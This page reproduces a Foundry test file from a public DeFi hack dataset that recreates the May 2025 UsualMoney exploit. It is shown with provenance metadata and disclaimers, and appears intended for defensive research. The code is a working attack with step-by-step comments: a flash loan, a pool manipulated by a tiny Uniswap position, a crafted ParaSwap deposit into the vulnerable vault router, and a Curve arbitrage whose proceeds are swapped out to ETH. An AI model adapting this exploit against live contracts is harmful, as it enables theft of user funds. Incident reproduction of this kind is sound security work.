Public reproduction file
src/test/2025-05/UsualMoney_exp.sol
Public reproduction file for dataset entry UsualMoney.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";6// @KeyInfo - Total Lost : 43k USD7// Attacker : https://etherscan.io/address/0x2ae2f691642bb18cd8deb13a378a0f95a9fee9338// Attack Contract : https://etherscan.io/address/0xf195b8800b729aee5e57851dd4330fcbb69f07ea9// Vulnerable Contract : https://etherscan.io/address/0x35d8949372d46b7a3d5a56006ae77b215fc69bc010// Attack Tx : https://etherscan.io/tx/0x585d8be6a0b07ca2f94cfa1d7542f1a62b0d3af5fab7823cbcf69fb243f271f813// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0x35d8949372d46b7a3d5a56006ae77b215fc69bc0#code16// @Analysis17// Post-mortem : https://www.quadrigainitiative.com/hackfraudscam/usualmoneyusdssyncvaultpricingarbitrageexploit.php18// Twitter Guy : https://x.com/BlockSecTeam/status/192760145781504028319// Hacking God : https://x.com/tonykebot/status/192760361018078849922contract UsualMoney is BaseTestWithBalanceLog {23 uint256 blocknumToForkFrom = 22575930 - 1; 24 uint256 borrowAmount = 1899838465685386939269479;25 uint256 private uniV3TokenId;28 //Related contracts 29 IWETH constant WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);30 IERC20 constant USD0Plus = IERC20(0x35D8949372D46B7a3D5A56006AE77B215fc69bC0);31 IERC20 constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);32 IERC20 constant USD0 = IERC20(0x73A15FeD60Bf67631dC6cd7Bc5B6e8da8190aCF5);33 IERC20 constant sUSDS = IERC20(0xa3931d71877C0E7a3148CB7Eb4463524FEc27fbD);34 ICurvePool constant USD0USD0Pool = ICurvePool(0x1d08E7adC263CfC70b1BaBe6dC5Bb339c16Eec52);35 INonfungiblePositionManager constant UNI_V3_POS = INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);36 address constant UniV3_Router = 0xE592427A0AEce92De3Edee1F18E0157C05861564;37 IVaultRouter constant VaultRouter = IVaultRouter(0xE033cb1bB400C0983fA60ce62f8eCDF6A16fcE09);38 IMorphoBlue constant morphoBlue = IMorphoBlue(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb);41 function setUp() public {42 vm.createSelectFork("mainnet", blocknumToForkFrom);43 fundingToken = address(0);44 // Deal 10 sUSDS tokens to this contract for initial liquidity provision45 deal(address(sUSDS), address(this), 10);46 }48 function testExploit() public balanceLog {49 // Approve UNI_V3_POS to spend sUSDS for minting liquidity position50 sUSDS.approve(address(UNI_V3_POS), 10);51 // Create and initialize Uniswap V3 pool for USD0/sUSDS if it doesn't exist52 UNI_V3_POS.createAndInitializePoolIfNecessary(address(USD0), address(sUSDS), 500, 181769597477799861);54 // Prepare parameters for minting a small liquidity position in Uniswap V355 INonfungiblePositionManager.MintParams memory mintParams = INonfungiblePositionManager.MintParams({56 token0: address(USD0),57 token1: address(sUSDS),58 fee: 500,59 tickLower: -536050,60 tickUpper: -536040,61 amount0Desired: 0,62 amount1Desired: 10,63 amount0Min: 0,64 amount1Min: 0,65 recipient: address(this),66 deadline: 174837072967 });68 // Mint the liquidity position (this sets up the pool for manipulation)69 UNI_V3_POS.mint(mintParams);71 // Initiate Morpho Blue flash loan with USD0Plus, borrowing the specified amount72 morphoBlue.flashLoan(address(USD0Plus), borrowAmount, bytes(""));73 }75 function onMorphoFlashLoan(uint256 fee, bytes calldata data) external {76 USD0Plus.approve(address(VaultRouter), borrowAmount);77 USD0Plus.approve(address(morphoBlue), USD0Plus.balanceOf(address(this)));80 // Declare VaultRouter deposit parameters.81 address augustus = 0xDEF171Fe48CF0115B1d80b88dc8eAB59176FEe57;82 address tokenIn = address(USD0Plus);83 uint256 amountIn = 1899838465685386939269479;85 // Deposit borrowed USD0Plus to VaultRouter, which performs a swap via ParaSwap86 VaultRouter.deposit(87 IParaSwapAugustus(augustus),88 tokenIn,89 amountIn,90 1,91 0,92 address(this),93 hex"a6886da9000000000000000000000000000000000000000000000000000000000000002000000000000000000000000073a15fed60bf67631dc6cd7bc5b6e8da8190acf5000000000000000000000000a3931d71877c0e7a3148cb7eb4463524fec27fbd000000000000000000000000e592427a0aece92de3edee1f18e0157c0586156400000000000000000000000000000000000000000001924e73188d44bfd301670000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000068360529000000000000000000000000e033cb1bb400c0983fa60ce62f8ecdf6a16fce090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e033cb1bb400c0983fa60ce62f8ecdf6a16fce0900000000000000000000000000000000000000000000000000000000000001c00000000000000000000000000000000000000000000000000000000000000220d3ba174c721349ff915ec624c071422a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002b73a15fed60bf67631dc6cd7bc5b6e8da8190acf50001f4a3931d71877c0e7a3148cb7eb4463524fec27fbd00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"94 );97 // Decrease liquidity from the Uniswap V3 position to retrieve tokens98 UNI_V3_POS.decreaseLiquidity(INonfungiblePositionManager.DecreaseLiquidityParams({99 tokenId: 998318,100 liquidity: 8720452440564722,101 amount0Min: 0,102 amount1Min: 0,103 deadline: 1748370719104 }));106 // Collect the tokens from the Uniswap V3 position107 UNI_V3_POS.collect(INonfungiblePositionManager.CollectParams({108 tokenId: 998318,109 recipient: address(this),110 amount0Max: type(uint128).max,111 amount1Max: type(uint128).max112 }));114 // Approve USD0USD0Pool to spend USD0 for exchange115 USD0.approve(address(USD0USD0Pool), USD0.balanceOf(address(this)));116 // Exchange USD0 to USD0Plus in the Curve pool (index 0 to 1)117 USD0USD0Pool.exchange(0, 1, USD0.balanceOf(address(this)), 0, address(this));118 // Approve Morpho Blue to spend the borrowed amount (for repayment)119 USD0Plus.approve(address(morphoBlue), borrowAmount);120 // Approve USD0USD0Pool to spend some USD0Plus for reverse exchange121 USD0Plus.approve(address(USD0USD0Pool), 43847725777335611631336);122 // Exchange USD0Plus back to USD0 in the Curve pool (index 1 to 0), profiting from the mispricing.123 USD0USD0Pool.exchange(1, 0, 43847725777335611631336, 0, address(this));125 // Approve UniV3_Router to spend USD0 for the swap126 USD0.approve(address(UniV3_Router), USD0.balanceOf(address(this)));128 // Perform exact input swap on Uniswap V3: USD0 -> USDC (0.01% fee) -> WETH (0.05% fee)129 ISwapRouter(payable(UniV3_Router)).exactInput(130 ISwapRouter.ExactInputParams({131 path: abi.encodePacked(address(USD0), uint24(100), address(USDC), uint24(500), address(WETH)),132 recipient: address(this),133 deadline: 1748370719,134 amountIn: 42973674683230843641696,135 amountOutMinimum: 0136 })137 );138 // Withdraw WETH to ETH (native token)139 WETH.withdraw(WETH.balanceOf(address(this))); 140 }142 receive() external payable {}143}145interface IERC20 {146 function approve(address spender, uint256 amount) external returns (bool);147 function balanceOf(address account) external view returns (uint256);148}150interface IWETH is IERC20 {151 function withdraw(uint256 wad) external;152}154interface ICurvePool {155 function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy, address receiver) external returns (uint256);156 function getUnwrapCap(address _receiver) external view returns (uint256);157}160interface INonfungiblePositionManager {161 struct MintParams {162 address token0;163 address token1;164 uint24 fee;165 int24 tickLower;166 int24 tickUpper;167 uint256 amount0Desired;168 uint256 amount1Desired;169 uint256 amount0Min;170 uint256 amount1Min;171 address recipient;172 uint256 deadline;173 }174 function mint(MintParams calldata params) external payable returns (uint256 tokenId, uint128 liquidity, uint256 amount0, uint256 amount1);176 struct DecreaseLiquidityParams {177 uint256 tokenId;178 uint128 liquidity;179 uint256 amount0Min;180 uint256 amount1Min;181 uint256 deadline;182 }183 function decreaseLiquidity(DecreaseLiquidityParams calldata params) external payable returns (uint256 amount0, uint256 amount1);185 struct CollectParams {186 uint256 tokenId;187 address recipient;188 uint128 amount0Max;189 uint128 amount1Max;190 }191 function collect(CollectParams calldata params) external payable returns (uint256 amount0, uint256 amount1);193 function createAndInitializePoolIfNecessary(address token0, address token1, uint24 fee, uint160 sqrtPriceX96) external payable returns (address pool);194}196interface IMorphoBlue {197 function flashLoan(address token, uint256 assets, bytes calldata data) external;198}202interface IParaSwapAugustus {}205interface IVaultRouter {206 function deposit(207 IParaSwapAugustus augustus,208 address tokenIn, 209 uint256 amountIn,210 uint256 minTokensToReceive,211 uint256 minSharesToReceive,212 address receiver,213 bytes calldata swapData214 ) external payable returns (uint256 sharesReceived);215}217interface ISwapRouter {218 struct ExactInputParams {219 bytes path;220 address recipient;221 uint256 deadline;222 uint256 amountIn;223 uint256 amountOutMinimum;224 }225 function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut);226}Analysis
Dataset entry
Public Foundry test for “UsualMoney” (2025-05-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
16 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/2025-05/BetaPresale_exp.solSame month in the dataset · 212 lines
- src/test/2025-05/bitallx_exp.solSame month in the dataset · 94 lines
- src/test/2025-05/Corkprotocol_exp.solSame month in the dataset · 291 lines
- src/test/2025-05/crosswise_exp.solSame month in the dataset · 178 lines
- src/test/2025-05/DogeAlliance_exp.solSame month in the dataset · 173 lines
- src/test/2025-05/Dumbo_exp.solSame month in the dataset · 214 lines
- src/test/2025-05/IRYSAI_exp.solSame month in the dataset · 104 lines
- src/test/2025-05/KRCToken_pair_exp.solSame month in the dataset · 120 lines
- src/test/2025-05/MBUToken_exp.solSame month in the dataset · 73 lines
- src/test/2025-05/Nalakuvara_LotteryTicket50_exp.solSame month in the dataset · 102 lines
- src/test/2025-05/RICE_exp.solSame month in the dataset · 142 lines
- src/test/2025-05/unverified_0000_exp.solSame month in the dataset · 99 lines
- src/test/2025-05/unverified_91a1_exp.solSame month in the dataset · 76 lines
- src/test/2025-05/Unwarp_exp.solSame month in the dataset · 55 lines
- src/test/2025-05/YDTtoken_exp.solSame month in the dataset · 52 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x2ae2f691642bb18cd8deb13a378a0f95a9fee933
- Attack Contract
0xf195b8800b729aee5e57851dd4330fcbb69f07ea
- Vulnerable Contract
0x35d8949372d46b7a3d5a56006ae77b215fc69bc0
- Attack Tx
0x585d8be6a0b07ca2f94cfa1d7542f1a62b0d3af5fab7823cbcf69fb243f271f8
- Post: https://www.quadrigainitiative.com/hackfraudscam/usualmoneyusdssyncvaultpricingarbitrageexploit.php
- Twitter: https://x.com/BlockSecTeam/status/1927601457815040283
- Explorer: https://etherscan.io/address/0x2ae2f691642bb18cd8deb13a378a0f95a9fee933
- Explorer: https://etherscan.io/address/0xf195b8800b729aee5e57851dd4330fcbb69f07ea
- Explorer: https://etherscan.io/address/0x35d8949372d46b7a3d5a56006ae77b215fc69bc0
- Explorer: https://etherscan.io/address/0x35d8949372d46b7a3d5a56006ae77b215fc69bc0#code
- Reference: https://x.com/tonykebot/status/1927603610180788499
File record
- Name
- UsualMoney
- Path
- src/test/2025-05/UsualMoney_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- ff57f6074a3f22277e3bd6168a23b13270edfa8a
- Language
- Solidity
- Size
- 227 lines
- Date
- 2025-05-27
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-05/UsualMoney_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ff57f6074a3f22277e3bd6168a23b13270edfa8a, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.